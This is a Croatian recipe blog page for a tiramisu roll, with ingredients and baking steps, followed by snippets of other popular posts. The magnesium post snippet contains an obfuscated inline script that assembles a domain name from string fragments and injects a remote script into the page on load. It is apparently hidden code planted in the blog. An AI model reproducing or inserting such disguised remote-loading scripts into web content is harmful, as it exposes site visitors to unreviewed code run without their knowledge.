TIRAMISU ROLADA - SESTRA TIRAMISUA





Tiramisu rolada - sestra tiramisua 



Teško nam je naći osobu koja ne voli tiramisu. Iako načelno isti recept, nikada nismo probale dva tiramisua koja imaju isti okus. Netko pretjera s kavom, netko je ne stavi dovoljno, netko stavlja rum, netko Amaretto i sl. No, ovog puta donosimo recept za nešto drugačiji tiramisu, točnije ovo je tiramisu rolada. Možemo reći da je riječ o jeftinijoj verziji tiramisua jer koristi biskvit umjesto piškota. Svakako je zanimljivo za probati, a izgleda jako efektno. Možete se igrati s kremom, dodavati voće, posipati s usitnjenim orašastim plodovima i slično.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Tiramisu rolada 


Sastojci 

Tijesto:

  • 4 jaja
  • 150 g šećera
  • 120 g brašna
  • 1/2 praška za pecivo
  • 30 g kakao praha
  • 1 žlica cappuccina u prahu
  • 2 žlice mlijeka
  • 1 žlica ruma ili Amaretta

Krema:

  • 250 g svježeg sira
  • 250 g mascarpone sira
  • 200 ml slatkog vrhnja
  • 50 g šećera u prahu
  • 2 kremfiksa (ili želatina)

Preljev:

  • 200 ml kuhane kave
  • 3 jušne žlice ruma
  • + kakao prah za posipanje



Priprema:

Za početak u posudu stavite papir za pečenje i zagrijte pećnicu na 180 stupnjeva.
Odvojite žutanjke i bjelanjke, pa bjelanjke sa žlicom šećera smiksajte u čvrsti snijeg. Preostali šećer i žumanjke miksajte dok se šećer ne otopi. Zatim dodavajte žlicu po žlicu brašna pomiješanog s praškom za pecivo, kakaom i cappuccinom te žlicom snijega od bjelanjaka.

Biskvit izlijte u posudu za pečenje (32×32 cm) i stavite peći u zagrijanu pećnicu na 20 minuta. Pečeni biskvit skupa s papirom preselite na vlažnu krpu, sve zajedno zarolajte i pustite da se ohladi.

Slatko vrhnje s kremfiksom i šećerom izmiksajte u čvrsti šlag. Obje vrste sira dobro promiješajte pa dodajte u tučeni šlag uz dodatak još jednog kremfiksa.

Ohlađeni biskvit odmotajte, pa maknite krpu i odvojiti papir. Biskvit natopite preljevom od kave i ruma/Amaretta te namažite polovicom kreme. Zarolajte, prebacite na pladanj pa premažite preostalom polovicom kreme. Po kremi napravite “valove” pa pospijte kakaom u prahu.


Tiramisu rolada - sestra tiramisua


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više